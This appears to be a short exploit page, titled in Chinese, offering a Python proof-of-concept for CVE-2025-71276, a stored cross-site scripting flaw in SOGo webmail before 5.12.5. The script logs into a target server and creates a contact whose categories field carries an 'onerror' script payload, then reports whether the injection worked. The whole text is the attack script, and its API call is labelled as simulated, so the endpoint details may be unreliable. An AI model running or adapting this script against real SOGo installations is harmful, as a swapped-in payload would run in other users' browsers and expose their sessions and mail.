CVE-2025-71276 SOGo跨站脚本漏洞

import requests # Proof of Concept for CVE-2025-71276 # Target: SOGo < 5.12.5 # Vulnerability Type: Stored XSS in Event/Task/Contact Categories target_url = "http://target-sogo-domain/SOGo/so/user/Contacts/" login_url = "http://target-sogo-domain/SOGo/connect" session = requests.Session() # 1. Authenticate (Adjust credentials as needed) login_data = { "userName": "attacker", "password": "password", "language": "en", "noCookies": "0" } session.post(login_url, data=login_data) # 2. Prepare Malicious Payload # Injecting script into the category field xss_payload = '<img src=x onerror=alert("CVE-2025-71276-XSS")>' # 3. Create Contact with Malicious Category contact_headers = { "Content-Type": "application/json", "Accept": "application/json" } # Simulating API call to add a contact contact_data = { "c_name": "Test Contact", "c_givenname": "Test", "c_sn": "User", "categories": xss_payload, # Vulnerable parameter "tel_cell": "123456789" } try: response = session.post(target_url, json=contact_data, headers=contact_headers) if response.status_code == 200: print("[+] Payload injected successfully!") print("[+] Check the Contacts page to trigger the XSS.") else: print(f"[-] Failed to inject. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")